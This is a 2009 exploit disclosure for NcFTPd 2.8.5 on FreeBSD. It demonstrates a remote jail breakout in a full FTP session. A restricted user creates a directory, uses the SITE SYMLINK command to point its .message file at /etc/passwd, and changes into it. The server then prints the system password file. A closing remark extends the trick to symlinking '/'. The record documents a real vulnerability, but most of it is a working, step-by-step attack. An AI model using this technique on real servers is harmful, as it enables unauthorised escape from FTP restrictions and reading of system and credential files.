NcFTPD 2.8.5 Jail Breakout

`NcFTPd <= 2.8.5 remote jail breakout  
  
Discovered by:  
Kingcope  
Contact: kcope2<at>googlemail.com / http://isowarez.de  
  
Date:  
27th July 2009  
  
Greetings:  
Alex,Andi,Adize,wY!,Netspy,Revoguard  
  
Prerequisites:  
Valid user account.  
  
Demonstration on FreeBSD 7.0-RELEASE and NcFTPd 2.8.5 (latest version):  
  
# ftp 192.168.2.5  
Connected to 192.168.2.5.  
220 localhost NcFTPd Server (unregistered copy) ready.  
Name (192.168.2.5:root): kcope  
331 User kcope okay, need password.  
Password:  
230-You are user #1 of 50 simultaneous users allowed.  
230-  
230 Restricted user logged in.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> get /etc/passwd passwd  
local: passwd remote: /etc/passwd  
502 Unimplemented command.  
227 Entering Passive Mode (192,168,2,5,219,171)  
550 No such file.  
ftp> ls ..  
227 Entering Passive Mode (192,168,2,5,218,102)  
553 Permission denied.  
ftp> mkdir isowarez  
257 "/isowarez" directory created.  
ftp> quote site symlink /etc/passwd isowarez/.message  
250 Symlinked.  
ftp> cd isowarez  
250-"/isowarez" is new cwd.  
250-  
250-# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $  
250-#  
250-root:*:0:0:Charlie &:/root:/bin/sh  
250-toor:*:0:0:Bourne-again Superuser:/root:  
250-daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin  
250-operator:*:2:5:System &:/:/usr/sbin/nologin  
250-bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin  
250-tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin  
250-kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin  
250-games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin  
250-news:*:8:8:News Subsystem:/:/usr/sbin/nologin  
250-man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin  
250-sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin  
250-smmsp:*:25:25:Sendmail Submission  
User:/var/spool/clientmqueue:/usr/sbin/nologin  
250-mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin  
250-bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin  
250-proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin  
250-_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin  
250-_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin  
250-uucp:*:66:66:UUCP  
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico  
250-pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin  
250-www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin  
250-nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin  
250-kcope:*:1001:1001:User kcope:/home/kcope:/bin/csh  
250-messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/sbin/nologin  
250-polkit:*:562:562:PolicyKit Daemon User:/nonexistent:/sbin/nologin  
250-haldaemon:*:560:560:HAL Daemon User:/nonexistent:/sbin/nologin  
250-ftp:*:1002:14:User &:/home/ftp:/bin/sh  
250-cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh  
250-postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin  
250-test:*:1003:1003:test:/home/test:/bin/sh  
250-+testx:*:::::/bin/sh  
250  
ftp>  
  
+on freebsd you can symlink directories like ´/´  
  
Cheerio,  
  
Kingcope  
`